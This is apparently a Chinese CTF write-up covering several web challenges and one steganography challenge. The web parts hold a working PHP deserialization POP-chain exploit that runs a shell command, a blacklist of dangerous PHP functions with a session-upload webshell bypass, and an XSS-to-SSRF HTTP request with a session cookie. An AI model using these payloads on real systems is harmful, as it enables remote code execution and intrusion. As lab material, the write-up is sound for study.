Web ezyii yii 的 pop链子,先贴poc:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 <?php namespace Codeception \Extension { use Faker \DefaultGenerator ; use GuzzleHttp \Psr7 \AppendStream ; class RunProcess { protected $output ; private $processes = []; public function __construct ( ) { $this ->processes[] = new DefaultGenerator(new AppendStream()); $this ->output = new DefaultGenerator(); } } echo base64_encode(serialize(new RunProcess())); } namespace Faker { class DefaultGenerator { protected $default ; public function __construct ($default = null ) { $this ->default = $default ; } } } namespace GuzzleHttp \Psr7 { use Faker \DefaultGenerator ; class AppendStream { private $streams = []; private $seekable = true ; public function __construct ( ) { $this ->streams[] = new CachingStream(); } } class CachingStream { private $remoteStream ; public function __construct ( ) { $this ->remoteStream = new DefaultGenerator(false ); $this ->stream = new PumpStream(); } } class PumpStream { private $source ; private $size = -10 ; private $buffer ; public function __construct ( ) { $this ->buffer = new DefaultGenerator(); include ("closure/autoload.php" ); $a = function ( ) { system('cat /f*' ); }; $a = \Opis\Closure \serialize($a ); $b = unserialize($a ); $this ->source = $b ; } } }
具体思路就是从 RunProcess
类入手
1 2 3 4 5 6 7 8 9 10 11 12 public function stopProcess ( ) { foreach (array_reverse($this ->processes) as $process ) { if (!$process ->isRunning()) { continue ; } $this ->output->debug('[RunProcess] Stopping ' . $process ->getCommandLine()); $process ->stop(); } $this ->processes = []; }
这里可以触发 DefaultGenerator
类中的 __call
魔术方法
然后由 return 可触发 AppendStream
类中的 __toString
魔术方法
AppendStream
类中则可以通过 $stream->rewind()
去执行 CachingStream
类中的 rewind()
方法
然后通过 CachingStream
类中的 $this->stream->read($length)
去执行 PumpStream
类中的 read()
方法,进而得到 call_user_func
函数的控制权,就可以注入 shell 了,这里用了构造 function
的方法,要注意直接构造然后执行 poc 是跑不通的,可以利用 \Opis\Closure\serialize
类中的序列化方法序列化后再反序列化绕过。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 foreach ($this ->streams as $i => $stream ) { try { $stream ->rewind(); } catch (\Exception $e ) { throw new \RuntimeException ('Unable to seek stream ' . $i . ' of the AppendStream' , 0 , $e ); } } if ($diff > 0 ) { while ($diff > 0 && !$this ->remoteStream->eof()) { $this ->read($diff ); $diff = $byte - $this ->stream->getSize(); } } else { $this ->stream->seek($byte ); } $data = $this ->stream->read($length );$remaining = $length - strlen($data );
flag:
flag{e09e57a3-0060-4abf-97fe-e89cb9ebb2ba}
安全检测 先是 SSRF 读文件,http://127.0.0.1/admin/include123.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 <?php $u =$_GET ['u' ];$pattern = "\/\*|\*|\.\.\/|\.\/|load_file|outfile|dumpfile|sub|hex|where" ;$pattern .= "|file_put_content|file_get_content|fwrite|curl|system|eval|assert" ;$pattern .="|passthru|exec|system|chroot|scandir|chgrp|chown|shell_exec|proc_open|proc_get_status|popen|ini_alter|ini_restore" ;$pattern .="|`|openlog|syslog|readlink|symlink|popepassthru|stream_socket_server|assert|pcntl_exec|http|.php|.ph|.log|\@|:\/\/|flag|access|error|stdout|stderr" ;$pattern .="|file|dict|gopher" ;$vpattern = explode("|" ,$pattern );foreach ($vpattern as $value ){ if (preg_match( "/$value /i" , $u )){ echo "检测到恶意字符" ; exit (0 ); } } include ($u );show_source(__FILE__ ); ?>
ban了很多东西,用 PHP_SESSION_UPLOAD_PROGRESS
进行绕过。(注意一句话木马不能存在空格
获取到目录文件列表。
发现 getflag.sh
文件,直接执行就能拿到 flag 了。
flag:
flag{57f1a008-f506-47a8-9174-ae307941d7b5}
secrets_of_admin(unsolve) 这题之后复现感觉其实挺简单的,主要还是代码审计。
在 database.ts
中可以发现 admin
的 password
=> e365655e013ce7fdbdbf8f27b418c8fe6dc9354dc4c0328fa02b0ea547659645
,也可以知道 flag 的 checksum => be5a14a8e504a66979f6938338b0662c
。
发现可以利用 127.0.0.1 添加文件记录的路由。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 router.get('/api/files' , async (req, res, next) => { if (req.socket.remoteAddress.replace(/^.*:/ , '' ) != '127.0.0.1' ) { return next(createError(401 )); } let { username , filename, checksum } = req.query; if (typeof (username) == "string" && typeof (filename) == "string" && typeof (checksum) == "string" ) { try { await DB.Create(username, filename, checksum) return res.send('Done' ) } catch (err) { return res.send('Error!' ) } } else { return res.send('Parameters error' ) } });
因此考虑将 flag 的文件同时属于 admin,这样就可以利用它的 checksum 进行读取,可以利用这个路由。(应该是个 html 转 pdf 的路由
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 router.post('/admin' , checkAuth, (req, res, next ) => { let { content } = req.body; if ( content == '' || content.includes('<' ) || content.includes('>' ) || content.includes('/' ) || content.includes('script' ) || content.includes('on' )){ return res.render('admin' , { error : 'Forbidden word 🤬' }); } else { let template = ` <html> <meta charset="utf8"> <title>Create your own pdfs</title> <body> <h3>${content} </h3> </body> </html> ` try { const filename = `${uuid()} .pdf` pdf.create(template, { "format" : "Letter" , "orientation" : "portrait" , "border" : "0" , "type" : "pdf" , "renderDelay" : 3000 , "timeout" : 5000 }).toFile(`./files/${filename} ` , async (err, _) => { if (err) next(createError(500 )); const checksum = await getCheckSum(filename); await DB.Create('superuser' , filename, checksum) return res.render('admin' , { message : `Your pdf is successfully saved 🤑 You know how to download it right?` }); }); } catch (err) { return res.render('admin' , { error : 'Failed to generate pdf 😥' }) } } });
用 include 过滤了些东西,利用数组绕过
1 content[]=%3Cscript%3Evar%20url%3D%22http%3A%2F%2F127%2E0%2E0%2E1%3A8888%2Fapi%2Ffiles%3Fusername%3Dadmin%26filename%3D%2E%2E%2Ffiles%2Fflag%26checksum%3Dbe5a14a8e504a66979f6938338b0662c%22%3Bquery%3Dnew%20XMLHttpRequest%28%29%3Bquery%2Eopen%28%27get%27%2Curl%29%3Bquery%2Esend%28%29%3B%3C%2Fscript%3E
payload:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 POST /admin HTTP/1.1 Host: 189e45c2-c278-4154-a99a-f60a5dcb08c1.node4.buuoj.cn:81 Content-Length: 301 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 Origin: http://189e45c2-c278-4154-a99a-f60a5dcb08c1.node4.buuoj.cn:81 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Referer: http://189e45c2-c278-4154-a99a-f60a5dcb08c1.node4.buuoj.cn:81/admin Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: UM_distinctid=17b29115fe6634-088485bbacdf7c-4343363-1fa400-17b29115fe7d9a; token=s%3Aj%3A%7B%22username%22%3A%22admin%22%2C%22files%22%3A%5B%5D%2C%22isAdmin%22%3Atrue%7D.F56WSi1msokS7QwqhYWcJm%2FBhe1UiZ%2FxOtKnM%2BaehVU Connection: close content[]=%3Cscript%3Evar%20url%3D%22http%3A%2F%2F127%2E0%2E0%2E1%3A8888%2Fapi%2Ffiles%3Fusername%3Dadmin%26filename%3D%2E%2E%2Ffiles%2Fflag%26checksum%3Dbe5a14a8e504a66979f6938338b0662c%22%3Bquery%3Dnew%20XMLHttpRequest%28%29%3Bquery%2Eopen%28%27get%27%2Curl%29%3Bquery%2Esend%28%29%3B%3C%2Fscript%3E
flag:
flag{713393c3-9f68-4719-bac4-649c9cf12eb9}
Misc 鸣雏恋 转 zip 格式打开压缩包,在 _rels 中发现 key.txt
和 love.zip
。
先解 key,key 为零宽字节隐写,解码网站
Because I like naruto best
解压图片后发现有大量图片,但是仅有 雏田 和 鸣人 头像,且图片数据分别相同,猜测为 01 二进制,写脚本输出。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 from PIL import Imagemark0 = Image.open ('./out/0.png' ).convert('RGB' ) m0 = mark0.size mark1 = Image.open ('./out/1.png' ).convert('RGB' ) m1 = mark1.size result = "" for i in range (0 , 129488 ): print(f"[+]New is img{i} " ) mark = Image.open (f'./out/{i} .png' ).convert('RGB' ) if mark.size == m0: result += "0" else : result += "1" print(result)
得到的二进制逐步解码后即可得到图片
flag
flag{57dd74fb21bb1aee50f19421bf836f23}